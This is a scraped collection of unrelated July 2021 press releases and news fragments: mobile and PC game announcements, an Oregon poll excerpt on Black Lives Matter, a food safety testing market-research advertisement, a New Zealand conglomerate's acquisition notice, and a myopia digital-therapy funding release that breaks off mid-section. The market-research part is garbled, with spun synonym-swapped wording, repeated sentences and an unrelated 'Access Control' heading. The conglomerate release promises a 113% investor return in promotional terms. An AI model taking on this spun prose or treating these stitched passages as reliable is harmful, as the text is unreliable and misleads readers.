[This unedited press release is made available courtesy of Gamasutra and its partnership with notable game PR-related resource Games Press.]

July 14, 2021 - Shanghai, China - Strategic mobile RPG Arknights, is launching the fourth season of the Contingency Contract event: Operation Lead Seal. With new stages and enemies introduced, this is a great time for Doctors to evaluate their Operators training and strategy implementation. The new season comes with a free Operator, Earthborn Metals headhunting rerun, unique-style outfits and various elite materials.



Download and play Arknights now: Click here



About Operation Lead Seal

The Operation Lead Seal Season will run from July 13 to July 27. Season #4 consists of 8 sites in total with two sites newly added, allowing Doctors to deploy their operator flexibly as the site changes.

With no sanity cost during this event, Doctors can challenge different levels of contracts unlimitedly and collect Operation Agreement and Contract Bounty. In exchange for Contract Bounty, Doctors can exchange for multiple rewards including Elite Materials, LMD, Furniture parts, Battle Records, Chips, etc. Whats more, Matterhorns outfit, Beach Guard GT.001, will also be added to the Trade Center. Be sure to check it out!



Watch the event Official Trailer: https://youtu.be/nJ_YpdgHLYQ



New Operator

Tuye, a 5-star Medic operator, will be redeemable in the Trade Center after the Contingency Contract opens. Tuyes talent allows her to boost her next healing ability for a certain period. When her first skill is activated, she will heal the targets and grant them a shield that absorbs damage. Her second skill allows her to increase her attack and heal allies that can effectively enhance the team's combat resilience.



Earthborn Metals Headhunting Rerun

The new event brings back the Exclusive Headhunting Earthborn Metals, giving Doctors a higher chance to obtain the popular 6-star operator Nian, Aak and 5-star Operator Hung. Those who regret missing the chance to obtain Nian may take a shot at it.



New Arrivals at Store

Three well-made outfits in traditional Chinese style including Ageless Afterglow for Chen, Honor and Splendor for Swire and Spring Vouivre for Liskarm will be available at the store temporarily. Time to add these outfits to your collection!



Follow Arknights

Arknights Official Website

Arknights on Twitter

Arknights on Facebook

Arknights on Instagram

Arknights Official Discord

Arknights YouTube



About Yostar Games

Founded in 2014 and publisher of Azur Lane and Arknights, Yostar Games specializes in game development, global distribution, investment, and video game IP management. Situated in Tokyo and Shanghai, Yostar Games has rapidly become the top publisher and developer of the anime genre in China and is striving to become a global leader in the gaming industry.




[This unedited press release is made available courtesy of Gamasutra and its partnership with notable game PR-related resource Games Press.]

Cambridge, UK  Wednesday, July 14th 2021, 4pm BST  Space Punks, the bombastic, over-the-top action role-playing game developed by Flying Wild Hogs Cracow Studio and published by Jagex Partners, has blasted its way into Early Access exclusively on Epic Games Store.



Players can now get into the game, and help co-create the destiny of Space Punks thanks to their ongoing Early Access feedback, by purchasing a Founders Pack at the Epic Games Store here: www.epicgames.com/store/p/space-punks. A Founders Pack guarantees a place in Early Access, and they come in two varieties: Swag Pack: The basic pack for any budding misfit provides guaranteed Early Access and unlocks all four main characters. It also features a Season 1 Battle Pass for Open Beta and exclusive backgrounds, four emotes, the Epic Cape and Epic Dash effect. Price: $29.99 / 23.99 / 21.99 Splendor Pack: The ultimate starter kit for only the hardcore scoundrel features everything in the Swag Pack as well as other additional benefits  four Epic Character Skins, Epic Player Entrance and more. Price: $49.99 / 39.99 / 34.99 Space Punks will be released in Open Beta this winter, with a console release in 2022.

Watch the Founders Pack trailer here: https://youtu.be/Bf4cWVgRCEE

Get into the Space Punks Early Access at Epic Games Store here: www.epicgames.com/store/p/space-punks

Sign up to hear more about Space Punks at www.playspacepunks.com

For more information about Flying Wild Hog go to www.flyingwildhog.com

For more information about Jagex Partners go to www.jagex.com/partners



## ENDS ##



Key features of Space Punks:

Endless Arsenal: Guns, grenades, gadgets and gizmos. Whatever weapon youre looking for, this galaxys got it, and theyre all designed for one thing: instant gratification Limitless Power If theres one thing you want in this universe, its MORE. Its all about the space Benjamins. Get stuff. Get famous. And get more powerful with every run Not Heroes: Misfits. Pirates. Scoundrels. Just dont call them heroes. They might have hearts of gold but theyd happily pawn them for gun money Share the Glory: Sure, youll need to split your plunder, but nothing beats the shared satisfaction of a successful run with your closest friends in the galaxy Brilliant Galaxy: Its a weird and wonderful universe full of weird and not-so-wonderful things all ready and waiting to kill you. Better kill them first




[This unedited press release is made available courtesy of Gamasutra and its partnership with notable game PR-related resource Games Press.]

Free-to-Play Mobile Strategy MMO Adds New Game Mode, Storyline, and Battle Alongside Limited-Time Anniversary Celebrations



King of Avalon Surpasses One Billion Dollars in Revenue According to App Annie Data



Greater Zurich Area, Switzerland  July 14, 2021  King of Avalon, the free-to-play mobile strategy MMO developed by FunPlus studio KingsGroup, is celebrating five years of medieval adventures inspired by the legend of King Arthur. Throughout July, King of Avalon players can experience major game updates, such as the Tower Defense game mode, as well as participate in limited-time anniversary events like Circus Invasion and Rainbows Maze.



In celebration of five years as one of the worlds most popular mobile strategy games, King of Avalon is introducing a wide variety of brand-new content headlined by a fresh yet classic game mode, Tower Defense. Other additions include the Recapture of Holy City storyline, an Alliance-based PvEvP feature known as Battle of Drake Valley, a new story setting for beginners, and a game-wide art update to the user interface and graphics.



In-game anniversary events started on July 1 with the Photo Contest ending July 13 and Sign-in & Memoirs celebration, which concludes today, July 14. The party continues with the Circus Invasion from July 14-20, Rainbows Maze from July 21-27, and a Tarot Card Prize Pool of Five Billion Gold, available from July 14-20. During this period, players can collect Tarot Cards from participating in daily events or purchasing bundles from the shop; when finishing a Tarot Card collection, players will have a chance to win a random quantity of gold from the Prize Pool.



For more information on FunPlus, visit http://www.FunPlus.com. For more information on King of Avalon, visit http://www.KingofAvalon.game. Find visual assets available here.



About King of Avalon

Launched on July 14, 2016, King of Avalon is a mobile 4X strategy MMO inspired by the legend of King Arthur. Players must build a powerful empire from scratch by upgrading buildings, enhancing the strength of their army, forming player alliances, and conquering the surrounding world of medieval Europe. King of Avalon is a bestseller in nearly 70 countries and has over 100 million global downloads.



About FunPlus

Founded in 2010, FunPlus is a world class, independent game developer and publisher headquartered in Switzerland with operations in Spain, Sweden, Russia, United States, Singapore, Japan, and China. As an organization that fosters the best creative talent in the world and employs nearly 2,000 people, the company has developed and published mobile games that have ranked in the #1 spot in nearly 70 countries, which includes State of Survival, King of Avalon and Guns of Glory. FunPlus studios include KingsGroup, Puzala, Seven Games and Imagendary Studios, each part of a growing global network of developers working on unique brands of staple genres including strategy, puzzle, and role-playing games.



The FunPlus brand powers FunPlus Phoenix (FPX), one of the worlds most successful esports organizations.



Contact Information

BHI for FunPlus

Brian Walton

[email protected]
 Almost half (47%) of those polled think the Black Lives Matter movement's impact, be it for good or ill, will be long lasting. Twenty percent believe it will only have a fleeting effect, and a third (33%) are unsure. Those identifying as Black, Indigenous or people of color were more likely (27%) than whites (19%) to see the changes as temporary.

 The elderly, defined as those 75 or older, were most likely to say Black Lives Matter had no impact, with 29% holding that opinion. Those who identified as Black, Indigenous or people of color (36%) were significantly more likely than whites (28%) to see the protests as both good and bad.

Voices from across Oregon:

The Oregon Values and Beliefs Center also asked survey respondents open-ended questions regarding their thoughts on the Black Lives Matter movement. Here's what they had to say:

 "BLM has caused significant decline in racial harmony and harmed the very people it claims to be supporting. Unfortunately, the media is hiding the fact that the BLM organization is an avowed Marxist organization," said one Washington County man.

 "BLM brings awareness, education and visibility to the communities it touches," said a Washington County woman.
HOUSTON, July 13, 2021 (GLOBE NEWSWIRE) -- The Global Food Safety Testing Market, Global Forecast, Impact of COVID-19, Industry Trends, Growth, Opportunity Company Overview, Sales Analysis" report has been added to Data Bridge Market Research offering.



The presentation of new investigation administrations by market players has additionally pushed market development in various areas like North America, Europe, Asia Pacific, South America, and RoW. Foodborne sicknesses, rigid unofficial laws, and changes in expectations for everyday comforts have likewise been the fundamental elements liable for the expansion sought after for sanitation testing across the world. Exchange has been answerable for the development of the wholesome examination market in non-industrial nations since these nations are needed to fulfill the quality guidelines of the bringing in country.

Food safety testing market is expected to gain market growth in the forecast period of 2020 to 2027. Data Bridge Market Research analyses that the market is growing with the CAGR of 5.9% in the forecast period of 2020 to 2027 and is expected to reach USD 4,124,140.72 Thousand by 2027. Increasing number of foodborne illnesses are leading the growth of the market.

Download Exclusive PDF Sample Copy @ https://www.databridgemarketresearch.com/request-a-sample/?dbmr=global-food-safety-testing-market

This Free report sample includes:

A brief introduction to the research report.

Graphical introduction of the regional analysis.

Top players in the market with their revenue analysis.

Selected illustrations of market insights and trends.

Example pages from the report.



Competitive Landscape with Key Players:

SGS SA

Bureau Veritas

Eurofins Scientific

TUV SUD

ALS Limited

Intertek Group

TUV NORD GROUP

Symbio Laboratories

QIMA

Pacific Lab

Ugene Laboratory Services

Kedah Bioresources Corporation Sdn. Bhd.

Merieux Nutrisciences

FOOD SAFETY NET SERVICES

NEOGEN CORPORATION

Adpen Laboratories

Cotecna Inspection SA

Spectro Analytical Labs

Nsf International

R J Hill Laboratories

ifp Privates Institut fur Produktqualitat GmbH

Bio Synergy Laboratories

DBMR analysts understand competitive strengths and provide competitive analysis for each competitor separately.

*Note: Additional companies can be included on request.

Get Access of Full Report @ https://www.databridgemarketresearch.com/checkout/buy/singleuser/global-food-safety-testing-market

All throughout the planet, Food supply is under consistent danger, and compelling test items that can guarantee Food Safety Testing are popular. Food Safety Testing is a fundamental piece of protecting shopper's wellbeing and prosperity; internationally, it is quite possibly the most essential issues.

Food Safety Testing alludes to assessing food items for sickness causing synthetic compounds, organic entities, and other unsafe materials. It for the most part targets three essential food foreign substances: microorganisms, synthetic compounds, and hereditarily changed creatures (GMOs).

In any case, the rising number of foodborne sicknesses, defilement cases, and poisonousness have compromised sanitation and raised the requirement for food handling testing. Creating purchaser premium in food quality with high mechanical headways drives the food handling testing market around the world.

According to WHO

For the year 2021 approximately 600 million - around 1 in 10 people fall sick after eating adulterated food, and 420,000 die every year, thus resulting in the loss of 33 million healthy life years.

40% of the foodborne diseases happen to children less than five years of age, with 125,000 deaths globally every year.

Coronavirus Impact on Worldwide Food Safety Testing Market

The COVID-19 pandemic has significantly impacted the food market, highlighting the significance of safe, healthy, and nutritious eating. Therefore, food security and food sustainability are recognized as strongly affected dimensions of food systems during the COVID-19 pandemic. Determined hard work on food safety will help countries mitigate the socio-economic impacts of the pandemic and enhance their spirit for the long term by promoting and stimulating food and agricultural trade.

Global Food Safety Testing Market Scope and Market Size

Food safety testing market is segmented into three notable segments which are based on the basis of testing type, technology and food categories. The growth among segments helps you analyse niche pockets of growth and strategies to approach the market and determine your core application areas and the difference in your target markets.



On the basis of testing type, the food safety testing market is segmented into allergen testing, pathogens testing, GMO testing, mycotoxins testing, nutritional labeling, heavy metals testing, pesticides testing, organic contaminants testing and others. In 2020, allergenic testing has the largest market share owing to the factors that the most of the food products have the chances that they contain allergenic factors into it in order to find out those allergens, the allergen testing is widely used.



On the basis of technology, the food safety testing market is segmented into culture media, polymerase chain reaction, immunoassay, chromatography, biochip/biosensor, microarrays, flow cytometry, and others. In 2020, culture media segment dominated the market owing to factors such as it is a traditional method and it gives accurate results.



is segmented into culture media, polymerase chain reaction, immunoassay, chromatography, biochip/biosensor, microarrays, flow cytometry, and others. In 2020, culture media segment dominated the market owing to factors such as it is a traditional method and it gives accurate results. On the basis of food categories, the food safety testing market is segmented into meat & meat products, egg & poultry products, fish and seafood, bakery products, cereals, grains & pulses, tea & coffee, herbs & spices, beverages, fruits & vegetables, milk & dairy products, honey, nuts and dried fruits, convenience foods, baby food, tobacco and others. In 2020, fish and seafood segment hold the largest market share owing to factors such as the demand for the products is very high among people many companies are highly engaged in providing services related to animal foods such seafoods, meat and others in which seafoods safety services requirement is high.



For More Information on Food Safety Testing Market Report, Visit @ https://www.databridgemarketresearch.com/reports/global-food-safety-testing-market

Food Safety Testing Market Country Level Analysis

Food safety testing market is analysed and market size information is provided by country, testing type, technology and food categories as referenced above.

The countries covered in the food safety testing market report are U.S., Canada, Mexico, Germany, France, Spain, Turkey, U.K., Netherlands, Russia, Switzerland, Poland, Belgium, Sweden, Denmark, Italy and Rest of Europe, China, India, Japan, Australia, South Korea, Malaysia, Singapore, Thailand, New Zealand, Indonesia, Philippines, Vietnam, Rest of Asia-Pacific, Brazil, Argentina and Rest of South America, South Africa, Saudi Arabia, UAE, Oman, Kuwait, Qatar and Rest of Middle East and Africa.

The U.S. is dominating in North America due to growing adoption of various technologies in the region for GMO testing. In Asia-Pacific, China is dominating due to increasing number of foodborne illnesses in the region and increasing demand for the GMO products. In Europe, Germany is dominating due to high consumption of GMO food in the region because of changing lifestyle of people.

The country section of the report also provides individual market impacting factors and changes in regulation in the market domestically that impacts the current and future trends of the market. Data points such as new sales, replacement sales, country demographics, regulatory acts and import-export tariffs are some of the major pointers used to forecast the market scenario for individual countries. Also, presence and availability of Global brands and their challenges faced due to large or scarce competition from local and domestic brands, impact of sales channels are considered while providing forecast analysis of the country data.

In-depth Food Safety Testing Market Report: Intended Audience

Food Safety Testing manufacturers

Downstream vendors and end-users

Traders, distributors, and resellers of Food Safety Testing

Food Safety Testing industry associations and research organizations

Product managers, Food Safety Testing industry administrator, C-level executives of the industries

Market Research and consulting firms

Driving central members etching market edges and advancing at a remarkable speed, have been summed up in this Food Safety Testing market report with measurable information. The essential strategies for boosting the exhibition of organizations, for example, have been remembered for this Food Safety Testing market report.

Key Topics Covered:

1. Introduction

2. Research Methodology

3. Executive Summary

4. Market Dynamics

4.1 Growth Drivers

4.2 Challenges

5. Global Food Safety Testing Market

6. Global Food Safety Testing Volume

7. Market Share - Global Food Safety Testing

7.1 By Contaminant

7.2 By Pathogen Food Testing

7.3 By Region

7.4 By Method / Technology

8. Volume Share - Global Food Safety Testing

8.1 By Contaminant

8.2 By Pathogen Food Testing

8.3 By Region

8.4 By Method / Technology

9. Contaminant - Food Testing Market & Volume

9.1 Pathogen

9.1.1 Market & Forecast

9.1.2 Volume & Forecast

9.2 Genetically Modified Organisms (GMO) Testing

9.3 Allergens

9.4 Agricultural Chemicals

9.5 Toxins

10. Pathogen - Food Safety Testing Market & Volume

10.1 Salmonella

10.1.1 Market & Forecast

10.1.2 Volume & Forecast

10.2 E-Coli

10.3 Listeria

10.4 Campylobacter

10.5 Others

11. Regions - Food Safety Testing Market & Volume

11.1 North America

11.1.1 Market & Forecast

11.1.2 Volume & Forecast

11.2 Western Europe

11.3 Japan

11.4 China

11.5 Other Countries

12. Method / Technology - Global Food Safety Testing Market & Volume

12.1 Traditional Microbiology

12.1.1 Market & Forecast

12.1.2 Volume & Forecast

12.2 Molecular Diagnostics

12.3 Immunodiagnostics

13. Company Analysis

13.1 Overview

13.2 Food Safety Portfolios

13.3 Merger/Acquisition

13.4 Financial Insights

Get Detailed Free TOC of This Report @ https://www.databridgemarketresearch.com/toc/?dbmr=global-food-safety-testing-market

If you want latest primary and secondary data (2021-2028) with Cost Module, Business Strategy, Distribution Channel, etc. Click request free sample report, published report will be delivered to you in PDF format via email within 24 to 48 hours.

The Report Highlights:

Gives a better understanding to the market participants how the global Food Safety Testing Systems and Services business environment is changing in terms of both profitability and growth, and how the industry is confronting the challenges to ensure continuous success in the global Food Safety Testing Systems and Services market.

The report assesses new revenue sources, and opportunities that could boost the capital of the market participants.

Size, growth, and profitability of all the market segments between the years 2021 and 2027 are detailed in the report.

Companies and segments that tend to achieve higher margins and higher growth rates in the forthcoming years are highlighted in the study.

Products and services that are more profitable in the higher price segments are included.

Innovative products and services and pricing strategies adopted by the leading companies gaining more profitability are outlined in the study.

Product marketing patterns that are significantly impacting the Food Safety Testing Systems and Services market.



Ask Analyst for Customization in Report @ https://www.databridgemarketresearch.com/inquire-before-buying/?dbmr=global-food-safety-testing-market

A portion of the Major Highlights of TOC covers:

Methodology and Scope

Executive Summary

Access Control Industry Insights

Access Control Market, By Region

Company Profile



Frequently Asked Questions

What will the market size be in 2027 and at what rate will it grow?

What are the major growth driving factors for the Global Food Safety Testing market during the forecast period?

during the forecast period? What are the trends in the Global Food Safety Testing market ?

? What are the key factors hampering the growth of the Global Food Safety Testing market ?

? Which are the key players forming the competitive landscape?

What is the current market size?

Reasons to Buy the Report:

Illustrative segmentation, analysis, and forecast pertaining to the nutritional analysis market based on type, species, application, and geography have been conducted to provide an overall view of the nutritional analysis market.



Major drivers, restraints, and opportunities for the nutritional analysis market have been detailed in this report.



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GCC Food Safety Testing Market By Target Tested (Pathogens, Allergens, Pesticides, Chemical and Nutrition, Genetically Modified Organism (GMO), Microbiological, Residues and Contamination Testing, Others), Technology (Traditional, Rapid), Food (Meat, Poultry, and Seafood, Dairy Products, Processed Food, Fruits and Vegetables, Cereals and Grains, Others) Country (U.S., Canada, Mexico, Germany, Sweden, Poland, Denmark, Italy, U.K., France, Spain, Netherland, Belgium, Switzerland, Turkey, Russia, Rest of Europe, Japan, China, India, South Korea, New Zealand, Vietnam, Australia, Singapore, Malaysia, Thailand, Indonesia, Philippines, Rest of Asia-Pacific, Brazil, Argentina, Rest of South America, UAE, Saudi Arabia, Oman, Qatar, Kuwait, South Africa, Rest of Middle East and Africa) Industry Trends and Forecast to 2028. https://www.databridgemarketresearch.com/reports/gcc-food-safety-testing-market



By Target Tested (Pathogens, Allergens, Pesticides, Chemical and Nutrition, Genetically Modified Organism (GMO), Microbiological, Residues and Contamination Testing, Others), Technology (Traditional, Rapid), Food (Meat, Poultry, and Seafood, Dairy Products, Processed Food, Fruits and Vegetables, Cereals and Grains, Others) Country (U.S., Canada, Mexico, Germany, Sweden, Poland, Denmark, Italy, U.K., France, Spain, Netherland, Belgium, Switzerland, Turkey, Russia, Rest of Europe, Japan, China, India, South Korea, New Zealand, Vietnam, Australia, Singapore, Malaysia, Thailand, Indonesia, Philippines, Rest of Asia-Pacific, Brazil, Argentina, Rest of South America, UAE, Saudi Arabia, Oman, Qatar, Kuwait, South Africa, Rest of Middle East and Africa) Industry Trends and Forecast to 2028. Food Texture Market , By Functionalities (Thickening Agents, Gelling Agents, Emulsifying Agents, Stabilizing Agents and Other Agents), Application (Bakery Products, Dairy Products, Meat & Poultry Products, Beverages Products, Snacks Products and Others), Country (U.S., Canada, Mexico, Germany, Sweden, Poland, Denmark, Italy, U.K., France, Spain, Netherland, Belgium, Switzerland, Turkey, Russia, Rest of Europe, Japan, China, India, South Korea, New Zealand, Vietnam, Australia, Singapore, Malaysia, Thailand, Indonesia, Philippines, Rest of Asia-Pacific, Brazil, Argentina, Rest of South America, UAE, Saudi Arabia, Oman, Qatar, Kuwait, South Africa, Rest of Middle East and Africa) Industry Trends and Forecast to 2027. https://www.databridgemarketresearch.com/reports/global-food-texture-market



, By Functionalities (Thickening Agents, Gelling Agents, Emulsifying Agents, Stabilizing Agents and Other Agents), Application (Bakery Products, Dairy Products, Meat & Poultry Products, Beverages Products, Snacks Products and Others), Country (U.S., Canada, Mexico, Germany, Sweden, Poland, Denmark, Italy, U.K., France, Spain, Netherland, Belgium, Switzerland, Turkey, Russia, Rest of Europe, Japan, China, India, South Korea, New Zealand, Vietnam, Australia, Singapore, Malaysia, Thailand, Indonesia, Philippines, Rest of Asia-Pacific, Brazil, Argentina, Rest of South America, UAE, Saudi Arabia, Oman, Qatar, Kuwait, South Africa, Rest of Middle East and Africa) Industry Trends and Forecast to 2027. Frozen Foods Market By Product Type (Fruits and Vegetables, Bakery Products, Frozen Dairy Products, Meat and Seafood Products, Convenience Foods and Ready Meals, Others), Type (Half Cooked, Raw Material, Ready-to-Eat), Freezing Technique (Individual Quick Freezing (IQF), Blast Freezing, Belt Freezing, Other) Consumption (Food Service, Retail), Distribution Channel (Supermarkets and Hypermarkets, Convenience Stores, Online Channels, Others), Country (U.S., Canada, Mexico, Germany, Sweden, Poland, Denmark, Italy, U.K., France, Spain, Netherland, Belgium, Switzerland, Turkey, Russia, Rest of Europe, Japan, China, India, South Korea, New Zealand, Vietnam, Australia, Singapore, Malaysia, Thailand, Indonesia, Philippines, Rest of Asia-Pacific, Brazil, Argentina, Rest of South America, UAE, Saudi Arabia, Oman, Qatar, Kuwait, South Africa, Rest of Middle East and Africa) Industry Trends and Forecast to 2028. https://www.databridgemarketresearch.com/reports/global-frozen-food-market



By Product Type (Fruits and Vegetables, Bakery Products, Frozen Dairy Products, Meat and Seafood Products, Convenience Foods and Ready Meals, Others), Type (Half Cooked, Raw Material, Ready-to-Eat), Freezing Technique (Individual Quick Freezing (IQF), Blast Freezing, Belt Freezing, Other) Consumption (Food Service, Retail), Distribution Channel (Supermarkets and Hypermarkets, Convenience Stores, Online Channels, Others), Country (U.S., Canada, Mexico, Germany, Sweden, Poland, Denmark, Italy, U.K., France, Spain, Netherland, Belgium, Switzerland, Turkey, Russia, Rest of Europe, Japan, China, India, South Korea, New Zealand, Vietnam, Australia, Singapore, Malaysia, Thailand, Indonesia, Philippines, Rest of Asia-Pacific, Brazil, Argentina, Rest of South America, UAE, Saudi Arabia, Oman, Qatar, Kuwait, South Africa, Rest of Middle East and Africa) Industry Trends and Forecast to 2028. Organic Food and Beverages Market By Product Type (Organic Food, Organic Beverages), Distribution Channel (Supermarket/Hypermarket, Convenience Stores, Specialist Stores, Internet Retailing, Others), Geography (North America, South America, Europe, Asia-Pacific, Middle East and Africa)  Industry Trends and Forecast to 2026. https://www.databridgemarketresearch.com/reports/global-organic-food-beverages-market



By Product Type (Organic Food, Organic Beverages), Distribution Channel (Supermarket/Hypermarket, Convenience Stores, Specialist Stores, Internet Retailing, Others), Geography (North America, South America, Europe, Asia-Pacific, Middle East and Africa)  Industry Trends and Forecast to 2026. Food Antioxidants Market, By Type (Synthetic Food Antioxidants, Natural Food Antioxidants), Form (Dry, Liquid), Source (Fruits & Vegetables, Oils, Nuts & Seeds, Spices & Herbs, Acid, Others), Application (Fats & Oils, Prepared Foods, Prepared Meat & Poultry, Other), Country (U.S., Canada, Mexico, Germany, Poland, Ireland, Italy, U.K., France, Spain, Netherland, Belgium, Switzerland, Turkey, Russia, Rest of Europe, Japan, China, India, South Korea, New Zealand, Vietnam, Australia, Singapore, Malaysia, Thailand, Indonesia, Philippines, Rest of Asia-Pacific, Brazil, Argentina, Chile, Rest of South America, UAE, Saudi Arabia, Egypt, Kuwait, South Africa, Rest of Middle East and Africa) Industry Trends and Forecast to 2027. https://www.databridgemarketresearch.com/reports/global-food-antioxidants-market



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HAMILTON, New Zealand, July 14, 2021 (GLOBE NEWSWIRE) -- Smokefree Innotec, Inc. [SFIO] is pleased to announce that it has recently entered into a Memorandum of Agreement [MOA] with AG Architects 2019 Limited [AG Architects] that is set to be a 100% subsidiary of Agrokings, Inc., a wholly-owned company of SFIO, following the reverse merger between Agrokings, Inc. and SFIO.



SFIO intends to get a share of the lucrative real estate industry, and this year poses a promising year for AG Architects as it bags over NZD 55 million worth of construction projects to be accomplished within the year. The fund coming from investors is aimed to produce a 113% return for the company. Apart from its current projects, AG Architects has approximately NZD 100 million worth of projects in the pipeline, complete with designs and feasibility studies which SFIO intends to fund through its fundraising and other financing options.

SFIO is intentional in growing the company, and as such, real estate and property development are just one among the list of strategic partnerships and acquisitions lined up. The intended projects have been conscientiously evaluated and programmed towards the expansion of SFIO. These subsidiaries shall work closely together to forge partnerships and projects that can exponentially increase the company's value.

SFIO is sincere in delivering maximum value to its shareholders. As SFIO's Chairman and CEO, Jeths D. Lacson states, "We are committed to bringing SFIO to greater heights."

About Smokefree Innotec, Inc.

Smokefree Innotec, Inc. is an Asset Management Company and is a conglomerate of several companies with five strategic business divisions, namely: franchising, food manufacturing and distribution, coffee business, property development, as well as technology and software development - all of which currently have a strong presence in New Zealand and Australia.

About Agrokings, Inc.

Agrokings, Inc. is a wholly-owned subsidiary of SFIO, and the owner and operator of Epiphany Cafe Franchise Group, Ardent Bakers, Gorgeous Coffee Co., A+ Electrical and Accord Investment Group.

About AG Architects 2019 Limited

AG Architects 2019 Limited, incorporated in New Zealand, does master planning, architecture, interior design, and construction that specializes in residential, commercial, public and urban, industrial, and institutional development in New Zealand and Singapore. Among its designs and developments are the Swiss Belsuites Hotel [NZ], Sol Apartments [NZ], Michael's Residences [SG], Pollen & Bleu [SG], and Greenwood Mews [SG]. For the list of projects: https://agarchitects.co.nz/project .

For media enquiries, please contact:
- Seventure Partners and Novartis Pharmaceuticals join as new investors

- Transformative treatment for millions of children with myopia

Berlin, Germany, July 14, 2021 --- Dopavision, a company pioneering the development of digital therapeutics, today announced the closing of a 12 million Series A financing round. Seventure Partners led the round and was joined by Novartis Pharmaceuticals and the Companys existing shareholders such as Boehringer Ingelheim Venture Fund and Ababax Health, significantly broadening the Companys shareholder base of leading international life science investors.

Myopia is recognized as a public health concern and is the leading cause of correctable visual impairment, expected to reach a global prevalence of 50% by 2050. The condition manifests as blurring of distant objects due to image focusing in front of the retina instead of falling on the retina, most often caused by excessive elongation of the eyeball during growth. Severe cases are associated with sight-threatening conditions, including glaucoma, cataract, retinal detachment, and myopic maculopathy.

Halting disease progression in children and young adults at present is regarded as the most promising intervention approach to prevent severe impairments at a later age. Dopavisions mission is to support this myopia control strategy by providing transformative treatments and addressing the disease at an early stage, providing medical benefits for later years of life.

The proceeds will be used to fund the clinical development of MyopiaX, the Companys lead product in childhood myopia, with the goal to demonstrate its safety and efficacy in clinical studies and advance this innovative treatment to market to improve the lives of millions of myopic children. The breakthrough technology targets children and young adolescents, leveraging a patented, light-based technology that stimulates specific photosensitive cells of the retina, which in turn modulate retinal dopamine, a key neurotransmitter involved in eye growth. The Company has demonstrated proof-of-mechanism in preclinical models and exploratory human studies. MyopiaX has the potential to become the first digital therapy to control childhood myopia. It is designed to achieve a medical effect while children play exciting games or use educational digital content and can be conveniently integrated into their daily routine. It runs on standard digital devices and is easy to use for children under minimal supervision of their parents.

Moreover, the funding will be dedicated to additional product development activities in order to provide innovative digital treatments for children leveraging games, educational or cognitive training applications, and potentially broaden the Companys pipeline to new indications. The Company also intends to continue to recruit and build a team of people passionate about using digital innovation to improve the lives of children and adults.

"We are excited that Seventure Partners and Novartis Pharmaceuticals have decided to support Dopavision as new investors in the Series A round," said Dr. Hamed Bahmani, co-founder and managing director of Dopavision. "The extensive use of smartphones is suspected to worsen childhood myopia but stopping children from using them is unrealistic. Therefore, we have decided to transform the use of digital devices into a beneficial therapeutic activity. Our first-of-its-kind MyopiaX combines ease of use with an exciting user experience that promotes adherence to the therapy with the goal of addressing this serious medical condition already at a young age."

"Novartis is committed to advancing transformational treatments - including digital therapeutics - to people of all ages living with visual impairment," said Jill Hopkins, Global Development Head, Ophthalmology, Novartis Pharmaceuticals.

"Dopavision is pursuing a unique digital therapeutic approach to achieve a significant clinical benefit," said Isabelle de Cremoux, CEO and Managing Partner of Seventure Partners. "This is the first real digital therapeutic for childhood myopia - a non-invasive, patient-friendly approach that will not only transform the global ophthalmology market, but also provide a breakthrough for affected children by improving their sight and quality of life from an early age onwards. Moreover, the technology has great potential for other disease indications as dopamine plays a key role in many physiological processes. Dopavision therefore excellently fits into our strategic commitment to develop groundbreaking digital health solutions."

To reflect the new shareholder structure, Dr. Annegret de Baey-Diepolder of Seventure Partners will join Dopavisions Advisory Board.

###

About Dopavision

Dopavision is pioneering the development of digital therapeutics. As its lead product, the Company is developing a game-changing therapeutic for childhood myopia which can be seamlessly and invisibly integrated into the use of a smartphone. Myopia, or shortsightedness, is a visual condition that affects on average every third person globally, a share that has increased rapidly during the last two decades. It has grown to alarming proportions in Asia where prevalence rates, e.g. in Singapore, have reached 80% among young adults. High childhood myopia imposes a significant risk to cause visual impairment and even blindness later in life. Dopavisions goal is to develop a clinically validated therapy to halt myopia progression in children and adolescents.

Founded in 2017 by Hamed Bahmani, Dopavision has so far raised 14.7 million in private equity and public grants and is backed by top-tier international investors such as Seventure Partners, Novartis Pharma and Boehringer Ingelheim Venture Fund. Dopavision is supported by the German government via the Industrie-in-Klinik program of the German Federal Ministry of Education and Research BMBF (Aktionsfeld Gesundheitswirtschaft im Rahmenprogramm Gesundheitsforschung, Forderkennzeichen/contract number 13GW0256).

www.dopavision.com

About Seventure Partners

With 850m net commitments under management as of the end of 2020, Seventure Partners is a leading venture capital firm in Europe. Since 1997, Seventure has been investing in innovative businesses with high growth potential in two fields: Life sciences across Europe, Israel, Asia and North America, and Digital technologies in France and Northern Europe.

In life sciences, the main areas of focus include classic approaches such as biotechnology and pharmaceuticals, diagnostic and medtech, industrial biotechnology, as well as beyond the pill approaches such as microbiome-linked innovations, nutrition, foodtech, digital/connected health, wellbeing and personalized medicine & personalized nutrition.

Investments can range between 500k and 10m per round, or up to 20m per company, from early to late stage, growth & pre-IPO. Seventure successfully launched Health for Life Capital which invests in life sciences (health, nutrition, digital/connected health) with a core focus on the microbiome revolution and its applications in human health, nutrition and food.

In March 2018, Seventure launched AVF, a new fund dedicated to animal nutrition, feed and health with Adisseo as a strategic partner. In July 2019, it launched Sport & Performance Capital, dedicated to innovations in sport & wellness. The 160m first Health For Life Capital fund launched in 2014 has invested in 20 companies at the forefront of their fields, such as Enterome, Vedanta Biosciences, MaaT Pharma, Eligo Bioscience, Ysopia Bioscience, TargEDys, A-Mansia Biotech, BiomX, Microbiotica, LiMM Therapeutics, Siolta Therapeutics, DayTwo, Zipongo (renamed Foodsmart), Cambrooke, Mdoloris Medical Systems, MycoTechnology, etc. In January 2019 it launched the second fund Health for Life Capital II, now over 250m, which invested in Axial Therapeutics, BCD Biosciences, Citryll, Cytoki, Ervaccine, Federation Bio, Galecto etc.

Both the first fund and second Health For Life Capital fund attracted strategic investments from prestigious organizations including Danone, Novartis, two US-based global food ingredient providers (to be disclosed), Lesaffre, Tornier, Tereos, Unigrains and Bel, as well as financial institutions, family offices and entrepreneurs.

For more details: www.seventure.fr/en Twitter: @seventurep



About Boehringer Ingelheim Venture Fund

